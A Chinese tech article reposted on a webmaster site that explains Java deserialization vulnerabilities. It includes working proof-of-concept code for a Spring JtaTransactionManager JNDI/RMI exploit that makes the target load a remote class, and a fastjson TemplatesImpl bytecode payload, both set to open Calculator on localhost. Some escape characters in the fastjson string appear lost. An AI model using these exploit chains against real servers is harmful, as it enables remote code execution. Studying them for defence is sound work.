深入解析 Java 反序列化漏洞
发布时间：2021-11-04 09:59:11 所属栏目：语言 来源：互联网
导读：一、背景 在上篇文章中，小编有详细的介绍了序列化和反序列化的玩法，以及一些常见的坑点。 但是，高端的玩家往往不会仅限于此，熟悉接口开发的同学一定知道，能将数据对象很轻松的实现多平台之间的通信、对象持久化存储，序列化和反序列化是一种非常有效的
|
一、背景
在上篇文章中，小编有详细的介绍了序列化和反序列化的玩法，以及一些常见的坑点。
但是，高端的玩家往往不会仅限于此，熟悉接口开发的同学一定知道，能将数据对象很轻松的实现多平台之间的通信、对象持久化存储，序列化和反序列化是一种非常有效的手段，例如如下应用场景，对象必须 100% 实现序列化。
DUBBO：对象传输必须要实现序列化
RMI：Java 的一组拥护开发分布式应用程序 API，实现了不同操作系统之间程序的方法调用，RMI 的传输 100% 基于反序列化，Java RMI 的默认端口是 1099 端口
而在反序列化的背后，却隐藏了很多不为人知的秘密!
最为出名的大概应该是：15年的 Apache Commons Collections 反序列化远程命令执行漏洞，当初影响范围包括：WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd 等知名软件，直接在互联网行业掀起了一阵飓风。
2016 年 Spring RMI 反序列化爆出漏洞，攻击者可以通过 JtaTransactionManager 这个类，来远程执行恶意代码。
2017 年 4月15 日，Jackson 框架被发现存在一个反序列化代码执行漏洞。该漏洞存在于 Jackson 框架下的 enableDefaultTyping 方法，通过该漏洞，攻击者可以远程在服务器主机上越权执行任意代码，从而取得该网站服务器的控制权。
还有 fastjson，一款 java 编写的高性能功能非常完善的 JSON 库，应用范围非常广，在 2017 年，fastjson 官方主动爆出 fastjson 在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
Java 十分受开发者喜爱的一点，就是其拥有完善的第三方类库，和满足各种需求的框架。但正因为很多第三方类库引用广泛，如果其中某些组件出现安全问题，或者在数据校验入口就没有把关好，那么受影响范围将极为广泛的，以上爆出的漏洞，可能只是星辰大海中的一束花。
那么问题来了，攻击者是如何精心构造反序列化对象并执行恶意代码的呢?
二、漏洞分析
2.1、漏洞基本原理
我们先看一段代码如下：
public class DemoSerializable {
public static void main(String[] args) throws Exception {
//定义myObj对象
MyObject myObj = new MyObject();
myObj.name = "hello world";
//创建一个包含对象进行反序列化信息的”object”数据文件
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将myObj对象写入object文件
os.writeObject(myObj);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
MyObject objectFromDisk = (MyObject)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}
class MyObject implements Serializable {
/**
* 任意属性
*/
public String name;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行指定程序
Runtime.getRuntime().exec("open https://www.baidu.com/");
}
}
运行程序之后，控制台会输出hello world，同时也会打开网页跳转到https://www.baidu.com/。
从这段逻辑中分析，我们可以很清晰的看到反序列化已经成功了，但是程序又偷偷的执行了一段如下代码。
Runtime.getRuntime().exec("open https://www.baidu.com/");
我们可以再把这段代码改造一下，内容如下：
//mac系统，执行打开计算器程序命令
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
//windows系统，执行打开计算器程序命令
Runtime.getRuntime().exec("calc.exe");
运行程序后，可以很轻松的打开电脑中已有的任意程序。
很多人可能不知道，这里的readObject()是可以重写的，只是Serializable接口没有显示的把它展示出来，readObject()方法的作用是从一个源输入流中读取字节序列，再把它们反序列化为一个对象，并将其返回，以定制反序列化的一些行为。
可能有的同学会说，实际开发过程中，不会有人这么去重写readObject()方法，当然不会，但是实际情况也不会太差。
2.2、Spring 框架的反序列化漏洞
以当时的 Spring 框架爆出的反序列化漏洞为例，请看当时的示例代码。
首先创建一个 server 代码：
public class ExploitableServer {
public static void main(String[] args) {
try {
//创建socket
ServerSocket serverSocket = new ServerSocket(Integer.parseInt("9999"));
System.out.println("Server started on port "+serverSocket.getLocalPort());
while(true) {
//等待链接
Socket socket=serverSocket.accept();
System.out.println("Connection received from "+socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
//读取对象
Object object = objectInputStream.readObject();
System.out.println("Read object "+object);
} catch(Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
然后创建一个 client 代码：
public class ExploitClient {
public static void main(String[] args) {
try {
String serverAddress = "127.0.0.1";
int port = Integer.parseInt("1234");
String localAddress= "127.0.0.1";
System.out.println("Starting HTTP server"); //开启8080端口服务
HttpServer httpServer = HttpServer.create(new InetSocketAddress(8080), 0);
httpServer.createContext("/",new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
System.out.println("Creating RMI Registry"); //绑定RMI服务到 1099端口 Object 提供恶意类的RMI服务
Registry registry = LocateRegistry.createRegistry(1099);
/*
java为了将object对象存储在Naming或者Directory服务下，
提供了Naming Reference功能，对象可以通过绑定Reference存储在Naming和Directory服务下，
比如（rmi，ldap等）。在使用Reference的时候，我们可以直接把对象写在构造方法中，
当被调用的时候，对象的方法就会被触发。理解了jndi和jndi reference后，
就可以理解jndi注入产生的原因了。
*/ //绑定本地的恶意类到1099端口
Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":8080"+"/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);
System.out.println("Connecting to server "+serverAddress+":"+port); //连接服务器1234端口
Socket socket=new Socket(serverAddress,port);
System.out.println("Connected to server");
String jndiAddress = "rmi://"+localAddress+":1099/Object";
//JtaTransactionManager 反序列化时的readObject方法存在问题 //使得setUserTransactionName可控，远程加载恶意类
//lookup方法会实例化恶意类，导致执行恶意类无参的构造方法
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
//上面就是poc,下面是将object序列化发送给服务器，服务器访问恶意类
System.out.println("Sending object to server...");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();
while(true) {
Thread.sleep(1000);
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
最后，创建一个ExportObject需要远程下载的类：
public class ExportObject {
public static String exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "n";
inBr.close();
in.close();
return sb;
}
public ExportObject() throws Exception {
String cmd="open /Applications/Calculator.app/";
throw new Exception(exec(cmd));
}
}
先开启 server，再运行 client 后，计算器会直接被打开!
究其原因，主要是这个类JtaTransactionManager类存在问题，最终导致了漏洞的实现。
打开源码，翻到最下面，可以很清晰的看到JtaTransactionManager类重写了readObject方法。
重点就是这个方法initUserTransactionAndTransactionManager()，里面会转调用到JndiTemplate的lookup()方法。
可以看到lookup()方法作用是：Look up the object with the given name in the current JNDI context。
也就是说，通过JtaTransactionManager类的setUserTransactionName()方法执行，最终指向了rmi://127.0.0.1:1099/Object，导致服务执行了恶意类的远程代码。
2.3、FASTJSON 框架的反序列化漏洞分析
我们先来看一个简单的例子，程序代码如下：
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
运行程序之后，同样的直接会打开电脑中的计算器。
恶意代码植入的核心就是在对象初始化阶段，直接会调用Runtime.getRuntime().exec("open /Applications/Calculator.app/")这个方法，通过运行时操作类直接执行恶意代码。
我们在来看看下面这个例子：
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class POC {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = System.getProperty("user.dir") + "/target/classes/person/Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"@type":"" + NASTY_CLASS +
"","_bytecodes":[""+evilCode+""],'_name':'a.b',"_outputProperties":{ }," +
""_name":"a","_version":"1.0","allowedProtocols":"all"}n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//assertEquals(Model.class, obj.getClass());
}
public static void main(String args[]){
try {
test_autoTypeDeny();
} catch (Exception e) {
e.printStackTrace();
}
}
}
在这个程序验证代码中，最核心的部分是_bytecodes，它是要执行的代码，@type是指定的解析类，fastjson会根据指定类去反序列化得到该类的实例，在默认情况下，fastjson只会反序列化公开的属性和域，而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性，_name也是私有域，所以在parseObject的时候需要设置Feature.SupportNonPublicField，这样_bytecodes字段才会被反序列化。
_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法，所以是设置不了的，只能依赖于jdk的实现，某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。
如果你的jdk版本是1.7，并且fastjson <= 1.2.24，基本会执行成功，如果是高版本的，可能会报错!
详细分析请移步：http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/
Jackson 的反序列化漏洞也与之类似。 （编辑：台州站长网） 【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容! |
